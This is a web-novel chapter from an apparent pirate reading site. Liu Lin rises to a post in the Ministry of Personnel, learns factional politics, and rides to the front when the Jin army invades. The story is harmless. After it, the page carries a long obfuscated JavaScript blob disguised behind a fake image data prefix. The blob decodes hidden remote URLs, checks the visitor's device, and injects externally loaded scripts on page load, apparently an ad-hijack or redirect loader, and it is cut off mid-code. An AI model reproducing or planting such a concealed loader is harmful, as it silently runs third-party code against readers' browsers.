首页
第39章 反击
返回
关灯 护眼:关 字号:小

第39章 反击

章节报错(免登陆)

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    江宁县的秋天,来得比往年更早。
    桂花谢了之后,梧桐叶开始飘落。一片一片,金黄的,落在县衙的院子里,落在那些青石板上,落在柳林批阅公文的案头。
    柳林伸手拈起一片落叶,看着那些清晰的叶脉。
    来江宁县一年了。
    这一年,他做了很多事。
    清理积案,整顿税收,安置流民,兴修水利,劝课农桑。江宁县的面貌,比一年前好了许多。百姓们说起这位年轻的知县,都竖大拇指。
    “林大人,真是青天。”
    “林大人,为咱们做主。”
    “林大人,是个好官。”
    柳林听着这些话,心里很平静。
    他知道,这只是开始。
    朝中的消息,也不断传来。
    那些师门的人,在朝中帮他说话。
    吏部的赵大人,几次来信,夸他做得好。
    礼部的钱大人,也托人带话,说皇上都听说过他的名字。
    翰林院的孙大人,更是把他的策论呈给了皇上。
    都察院的李大人,也说他是个难得的人才。
    柳林知道,这些人是真心在帮他。
    因为他们是一个师门的。
    因为他的成绩,也是他们的成绩。
    因为他的升迁,也会给他们带来好处。
    这就是规矩。
    柳林遵守得很好。
    那天,他收到一封信。
    是陈明远写来的。
    信上说,朝廷要调他去京城。
    去吏部做个主事。
    六品。
    比知县高一品。
    柳林看着那封信。
    心里很平静。
    他知道,这是迟早的事。
    那些人,会帮他往上爬。
    只要他做得好。
    只要他听话。
    只要他站对了队。
    他给陈明远回了信。
    说感谢老师提携。
    说他会好好干。
    说不会给师门丢脸。
    信寄出去之后,他站在院子里。
    看着那些梧桐叶飘落。
    一片一片。
    金黄的。
    他想起王婉儿。
    想起她写的那些信。
    想起她说“我等你”。
    快了。
    等他到京城站稳脚跟。
    就把她接来。
    把家里人也接来。
    让他们过上好日子。
    让他们不再受苦。
    一个月后,柳林离开了江宁。
    走的那天,很多百姓来送。
    那个被他救过的老人,带着一家人,跪在路边。
    “林大人,您是个好官。”
    “我们舍不得您走。”
    柳林把他们扶起来。
    “老人家,不用这样。”
    “我只是做了该做的事。”
    老人哭着说:
    “您是我们的大恩人。”
    柳林看着那些人。
    那一张张熟悉的脸。
    那些他帮过的人。
    那些他判过案的人。
    那些他罚过的人。
    那些恨他的人。
    那些爱他的人。
    都来了。
    他看着他们。
    心里忽然有些酸。
    不是舍不得。
    是觉得,这一年,值了。
    他上了马车。
    马车动了。
    慢慢走远。
    那些人还站在那儿。
    看着他。
    他挥了挥手。
    他们也挥了挥手。
    马车越走越远。
    那些人越来越小。
    最后消失在秋色里。
    柳林转回头。
    看着前面的路。
    那条路很长。
    通向京城。
    通向吏部。
    通向那个更大的舞台。
    京城比他想象的大。
    也比他想的热闹。
    街上车水马龙,人来人往。
    酒楼茶肆,鳞次栉比。
    那些穿着官服的人,在街上走来走去。
    那些坐着轿子的人,前呼后拥。
    柳林坐在马车里,看着这一切。
    心想,这就是权力的中心。
    赵大人派人来接他。
    把他安顿在一个小院子里。
    院子不大,但很雅致。
    有假山,有池塘,有几株竹子。
    柳林站在院子里,看着那些竹子。
    想起陈明远家里的那些竹子。
    想起他说的话。
    “在官场上,一个人走不远。”
    “要有自己的人。”
    “要有人帮你。”
    他记住了。
    第二天,他去吏部报到。
    赵大人亲自带他进去。
    介绍给那些同僚。
    “这位是林远林主事,咱们师门的人。”
    那些人笑着打招呼。
    都很客气。
    柳林也笑着还礼。
    都很得体。
    接下来几天,他忙着熟悉吏部的事。
    吏部管天下官员的升迁调补。
    是六部之首。
    权很重。
    事也很多。
    柳林上手很快。
    那些老吏看他做事,都暗暗点头。
    这个年轻人,不简单。
    脑子快。
    心细。
    还能扛事。
    比那些只会读书的书呆子强多了。
    一个月后,他已经完全熟悉了吏部的事务。
    那些老吏开始把一些重要的事交给他。
    柳林都处理得很好。
    不出错。
    不拖延。
    不推诿。
    赵大人看在眼里,心里高兴。
    “林远,你做得不错。”
    柳林说:
    “多谢大人栽培。”
    赵大人说:
    “好好干。”
    “以后有机会,再往上走。”
    柳林说:
    “是。”
    从吏部出来,他走在街上。
    天已经黑了。
    街上还有灯。
    那些灯在夜色里亮着。
    红的,黄的,照得整条街都暖洋洋的。
    他想起江宁县的灯。
    想起树林村的灯。
    想起那两棵老槐树下的灯。
    想起王婉儿提着的灯。
    他笑了笑。
    继续走。
    走进那个小院子。
    走进那间屋子。
    点起灯。
    坐在桌前。
    拿出纸笔。
    给王婉儿写信。
    信上说了他到京城的事。
    说了吏部的事。
    说了他的住处。
    说了他的生活。
    说一切都好。
    让她别担心。
    写完信,他躺在床上。
    看着窗外的月亮。
    月亮很亮。
    和树林村的月亮一样亮。
    他想起她。
    想起她红透的脸。
    想起她亮晶晶的眼睛。
    想起她说“我等你”时的样子。
    他闭上眼睛。
    慢慢睡着了。
    在京城的日子,比在江宁复杂得多。
    人要见得多。
    话要说得多。
    事要办得多。
    酒要喝得多。
    柳林每天都要应付各种各样的人。
    师门的。
    朋党的。
    乡党的。
    还有那些想巴结他的。
    想拉拢他的。
    想利用他的。
    他都不拒绝。
    都见。
    都说。
    都笑。
    都应付。
    但他心里有数。
    知道谁是真心。
    谁是假意。
    谁可以利用。
    谁需要提防。
    那些老油条们,一开始还想拿他当新人。
    试探他。
    糊弄他。
    占他便宜。
    几次下来,就老实了。
    这个年轻人,不好惹。
    脑子快。
    心细。
    还能忍。
    该笑的时候笑。
    该狠的时候狠。
    该装糊涂的时候装糊涂。
    比他们这些老家伙还油。
    赵大人对他越来越满意。
    “林远,你真是个人才。”
    柳林说:
    “大人过奖。”
    赵大人说:
    “不是过奖。”
    “我在吏部二十年,见过无数人。”
    “像你这样的,少见。”
    柳林说:
    “学生只是尽力。”
    赵大人说:
    “尽力就好。”
    “以后,我这边有事,也会交给你。”
    柳林说:
    “多谢大人信任。”
    从赵大人那里出来,柳林站在院子里。
    看着那些竹子。
    风吹过来。
    沙沙响。
    他知道,赵大人这是要重用他了。
    把他当自己人了。
    以后,他就是赵大人的心腹。
    是赵大人这一派的人。
    这就是站队。
    他站了。
    也必须站。
    因为这是规矩。
    日子一天一天过。
    柳林在吏部的名声越来越大。
    在朝中的名声也越来越大。
    那些师门的人,以他为荣。
    那些朋党的人,以他为友。
    那些乡党的人,以他为傲。
    那天,陈明远来京城了。
    他是来参加会试的。
    柳林去接他。
    几年不见,陈明远老了很多。
    头发白了。
    脸上的皱纹也多了。
    但精神还好。
    看见柳林,他笑了。
    “林远,你出息了。”
    柳林说:
    “老师过奖。”
    陈明远说:
    “不是过奖。”
    “你的事,我都听说了。”
    “吏部主事,做得好。”
    柳林说:
    “都是老师教导的。”
    陈明远摆了摆手。
    “教导是一回事,你自己争气是另一回事。”
    他拉着柳林的手。
    “走,找个地方坐坐。”
    两个人找了家茶馆。
    坐下。
    要了壶茶。
    陈明远说:
    “林远,你现在是朝中的人了。”
    “有些话,我要跟你说。”
    柳林说:
    “老师请讲。”
    陈明远说:
    “朝中不比地方。”
    “地方上,你为民做主,就是好官。”
    “朝中,为民做主还不够。”
    “还要站队。”
    “还要看风向。”
    “还要会周旋。”
    柳林说:
    “学生知道。”
    陈明远说:
    “知道就好。”
    “你在吏部,赵大人对你好。”
    “他是咱们师门的人。”
    “你要听他的话。”
    “但也不能全听。”
    柳林说:
    “为什么。”
    陈明远说:
    “因为他也有他的想法。”
    “他要往上爬,需要你出力。”
    “但你不能让他把你当枪使。”
    柳林说:
    “学生明白。”
    陈明远看着他。
    看着那双平静的眼睛。
    那眼睛里,有一种很深的光。
    他说:
    “林远,你真的不简单。”
    柳林说:
    “老师过奖。”
    陈明远说:
    “不是过奖。”
    “我教了二十年书,没见过你这样的学生。”
    “你太稳了。”
    “稳得不像你这个年纪的人。”
    柳林没有说话。
    只是笑了笑。
    那天晚上,他请陈明远吃饭。
    周全他们也来了。
    周全现在在国子监读书。
    石敢当在京城找了个差事。
    周谦也在京城,做点小生意。
    几个人聚在一起,喝了很多酒。
    周全说:
    “林远,你现在是大官了。”
    柳林说:
    “不大。”
    周全说:
    “六品还不大?”
    柳林说:
    “六品算什么。”
    “朝中三品四品多的是。”
    周全说:
    “那也比我大。”
    柳林笑了。
    “行,比你大。”
    石敢当说:
    “林远,你以后别忘了我们。”
    柳林说:
    “不会的。”
    石敢当说:
    “那就好。”
    周谦没说话。
    但他看着柳林,眼睛里有一种光。
    那种光,和以前一样。
    是信任。
    也是——
    柳林拍了拍他的肩。
    “周兄,有事来找我。”
    周谦点了点头。
    那天晚上,喝到很晚。
    散的时候,月亮已经升起来了。
    很亮。
    和那天晚上一样亮。
    柳林送陈明远回去。
    走在街上。
    陈明远说:
    “林远,你以后打算怎么办。”
    柳林说:
    “走一步看一步。”
    陈明远说:
    “没有具体的打算?”
    柳林说:
    “有。”
    “但不好说。”
    陈明远看着他。
    “不能说?”
    柳林说:
    “现在不能说。”
    陈明远点了点头。
    “好。”
    “那就不说。”
    “你心里有数就行。”
    柳林说:
    “谢谢老师理解。”
    陈明远说:
    “不是理解。”
    “是信任。”
    他拍了拍柳林的肩。
    “去吧。”
    柳林说:
    “老师慢走。”
    他看着陈明远走远。
    那个背影,有些佝偻。
    但很稳。
    一步一步。
    走进夜色里。
    柳林站了很久。
    然后转身。
    走回那个小院子。
    走进那间屋子。
    点起灯。
    坐在桌前。
    拿出纸笔。
    给王婉儿写信。
    信上说了陈明远来的事。
    说了周全他们的事。
    说了他的生活。
    说一切都好。
    让她别担心。
    写完信,他躺在床上。
    看着窗外的月亮。
    月亮很亮。
    和那天晚上一样亮。
    他想起王婉儿。
    想起她红透的脸。
    想起她亮晶晶的眼睛。
    想起她说“我等你”时的样子。
    他笑了。
    快了。
    等他再往上走一步。
    就把她接来。
    让她过上好日子。
    让她不再受苦。
    他闭上眼睛。
    慢慢睡着了。
    日子一天一天过。
    柳林在吏部干了两年。
    两年里,他从主事升到员外郎。
    从六品升到五品。
    赵大人越来越器重他。
    朝中的人也越来越多地提起他的名字。
    有人说他是赵大人的心腹。
    有人说他是师门的骄傲。
    有人说他是难得的人才。
    有人说他是未来的栋梁。
    柳林听着这些话,心里很平静。
    他知道,这些都只是表面。
    真正的考验,还在后面。
    那天,赵大人叫他去。
    脸色很凝重。
    “林远,出事了。”
    柳林说:
    “大人请讲。”
    赵大人说:
    “金朝那边,有动静了。”
    柳林愣了一下。
    金朝?
    他知道,金朝是大宋北边的邻国。
    一直和大宋打仗。
    打了几十年。
    前几年刚签了和约。
    现在又要有动静了?
    赵大人说:
    “金朝皇帝换人了。”
    “新皇帝年轻气盛,想打仗。”
    “听说正在调兵。”
    “可能要南下。”
    柳林说:
    “朝廷怎么说。”
    赵大人说:
    “朝廷里吵翻了天。”
    “有人说要打。”
    “有人说要和。”
    “有人说要守。”
    “还没定下来。”
    柳林说:
    “大人怎么看。”
    赵大人说:
    “我不知道。”
    “我只知道,如果金朝真的打过来,咱们的日子就不好过了。”
    柳林沉默。
    他知道,赵大人说的是真的。
    一旦打仗,朝中就会大乱。
    权力重新洗牌。
    站队重新调整。
    很多人会下去。
    很多人会上来。
    很多事会变。
    他想起那个天道。
    那个一直在看着他的天道。
    会不会,这就是它的反击?
    因为他融入了这个世界。
    因为他有了感情线。
    因为他要收复这方世界。
    所以,它要让这个世界乱起来。
    让它风雨飘摇。
    让它陷入战火。
    让它——
    柳林深吸一口气。
    “大人,咱们该怎么办。”
    赵大人说:
    “先看看。”
    “看看风向。”
    “看看皇上什么意思。”
    柳林说:
    “好。”
    从赵大人那里出来,他站在院子里。
    看着那些竹子。
    风吹过来。
    沙沙响。
    但这一次,他觉得那声音不一样了。
    像是有什么东西在逼近。
    在靠近。
    在——
    他抬起头。
    看着那片天。
    天还是那么蓝。
    和往常一样蓝。
    但他知道,不一样了。
    不一样了。
    金朝的消息,一天比一天紧。
    有人说,金军已经在边境集结了十万人。
    有人说,金朝皇帝御驾亲征。
    有人说,金军不日就要南下。
    朝中吵得更凶了。
    主战派说,打!
    不能让他们欺负到头上!
    主和派说,和!
    打不过,只能和!
    主守派说,守!
    守住边境,耗死他们!
    皇上也拿不定主意。
    今天听这个的。
    明天听那个的。
    后天又听另一个的。
    朝中乱成一团。
    柳林每天都要见很多人。
    听很多话。
    说很多话。
    做很多事。
    赵大人那边,也在观望。
    让他多打听。
    多听。
    多看。
    少说。
    少表态。
    柳林照做。
    他知道,这个时候,站队最重要。
    站对了,飞黄腾达。
    站错了,万劫不复。
    他必须小心。
    那天晚上,他一个人坐在院子里。
    看着那些竹子。
    风吹过来。
    很冷。
    他忽然想起那个声音。
    那个天道的声音。
    “还要看你怎么做官。”
    “怎么做人。”
    “怎么对待这个世界的百姓。”
    现在,考验来了。
    不是一般的考验。
    是战争。
    是生死。
    是存亡。
    他怎么应对?
    怎么选择?
    怎么站队?
    他不知道。
    但他知道,他必须做对。
    为了那些人。
    为了那些等他的人。
    为了那个世界。
    他深吸一口气。
    站起来。
    走回屋里。
    点起灯。
    坐在桌前。
    拿出纸笔。
    给王婉儿写信。
    信上说了金朝的事。
    说了朝中的事。
    说了他的担心。
    说了他的想法。
    他说,如果打仗,他可能会被派去前线。
    如果那样,让她别担心。
    他会活着回来。
    因为有人在等他。
    写完信,他躺在床上。
    看着窗外的月亮。
    月亮很亮。
    但今晚,他觉得那光有些冷。
    他闭上眼睛。
    想着那些事。
    想着那个人。
    那个天道。
    想着它为什么要反击。
    为什么要让这个世界乱起来。
    是因为他太顺了吗?
    是因为他快要成功了吗?
    是因为它害怕了吗?
    他不知道。
    但他知道,不管怎样,他都要走下去。
    走下去。
    直到成功。
    直到回去。
    直到那些人等到他。
    一个月后,金军南下了。
    十万大军。
    浩浩荡荡。
    一路杀过来。
    边境告急。
    一封接一封的急报,送到京城。
    朝中更乱了。
    主战派说,出兵!
    主和派说,求和!
    主守派说,守城!
    皇上终于下了决心。
    打!
    他派了大将率军迎战。
    又派了官员去前线督战。
    柳林也在其中。
    赵大人推荐的他。
    说他是个人才。
    说他能干。
    说让他去前线历练历练。
    皇上准了。
    柳林领了旨。
    走出大殿。
    站在台阶上。
    看着那些来来往往的官员。
    那些人都在看着他。
    有人羡慕。
    有人同情。
    有人幸灾乐祸。
    有人冷眼旁观。
    柳林不在乎。
    他只是在想,前线什么样?
    战争什么样?
    死什么样?
    他不知道。
    但他必须去。
    因为这是他的任务。
    因为这是他的路。
    因为这是那个天道的考验。
    临走前,他去见了陈明远。
    陈明远拉着他的手。
    “林远,保重。”
    柳林说:
    “老师放心。”
    陈明远说:
    “战场上刀枪无眼。”
    “你要小心。”
    柳林说:
    “知道。”
    陈明远说:
    “活着回来。”
    柳林说:
    “好。”
    他又去见了周全他们。
    周全哭了。
    “林远,你别去。”
    柳林说:
    “必须去。”
    周全说:
    “为什么。”
    柳林说:
    “因为我是朝廷命官。”
    周全说:
    “朝廷命官那么多,为什么非得是你。”
    柳林说:
    “因为我能干。”
    周全说:
    “能干就该去送死?”
    柳林笑了。
    “不是送死。”
    “是去做事。”
    周全看着他。
    看着他那双平静的眼睛。
    那眼睛里,有一种很深的光。
    他说:
    “林远,你一定要活着回来。”
    柳林说:
    “会的。”
    石敢当说:
    “林远,我跟你去。”
    柳林说:
    “不用。”
    石敢当说:
    “为什么。”
    柳林说:
    “你还有你的事。”
    石敢当说:
    “你的事就是我的事。”
    柳林看着他。
    看着那张憨厚的脸。
    心里一暖。
    “好。”
    “那你跟着。”
    周谦也站出来。
    “我也去。”
    柳林看着他们三个人。
    周全。
    石敢当。
    周谦。
    他的同窗。
    他的朋友。
    他的兄弟。
    他们都要跟他去。
    去战场。
    去送死。
    去——
    他说:
    “好。”
    “一起去。”
    那天晚上,他又给王婉儿写了一封信。
    信上说了他要上前线的事。
    说了周全他们也要去的事。
    说了他的决定。
    说了他的想法。
    他说,如果他能活着回来,就来接她。
    如果回不来,让她别等太久。
    让她找个好人嫁了。
    让她好好活着。
    写完信,他看着那些字。
    那些他亲手写的字。
    每一个,都像是在告别。
    他叠好信。
    放进信封。
    明天寄出去。
    他躺在床上。
    看着窗外的月亮。
    月亮很亮。
    和那天晚上一样亮。
    他想起王婉儿。
    想起她红透的脸。
    想起她亮晶晶的眼睛。
    想起她说“我等你”时的样子。
    他笑了。
    “婉儿,等我。”
    “等我回来。”
    他闭上眼睛。
    慢慢睡着了。
    第二天一早,他们出发了。
    柳林。
    周全。
    石敢当。
    周谦。
    四个人,骑着马,带着兵器,出了京城。
    往北走。
    往边境走。
    往战场走。
    路上,周全问他:
    “林远,你怕吗。”
    柳林说:
    “怕。”
    周全说:
    “怕还去。”
    柳林说:
    “怕也要去。”
    周全说:
    “为什么。”
    柳林说:
    “因为有人需要我。”
    周全说:
    “谁。”
    柳林说:
    “很多人。”
    周全不懂。
    但他没有再问。
    只是跟着柳林走。
    走了七天。
    他们到了边境。
    远远地,就听见了喊杀声。
    看见了火光。
    闻见了血腥味。
    周全的脸白了。
    “这……这就是战场?”
    柳林说:
    “是。”
    周全说:
    “好可怕。”
    柳林说:
    “怕就回去。”
    周全说:
    “不回去。”
    柳林看着他。
    看着他那张虽然害怕但坚定的脸。
    他笑了。
    “好。”
    “那就一起。”
    他们策马向前。
    冲向那片火光。
    冲进那场战争。
    冲向那个未知的命运。
    身后。
    那个天道,在看着他们。
    看着这场战争。
    看着这个世界的命运。
    看着柳林这个异类。
    它在想什么?
    没有人知道。
    但柳林知道。
    不管它怎么反击。
    不管它怎么让这个世界乱。
    不管它怎么让风雨飘摇。
    他都不会放弃。
    因为有人在等他。
    因为那个世界需要他。
    因为他——
    必须回去。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD 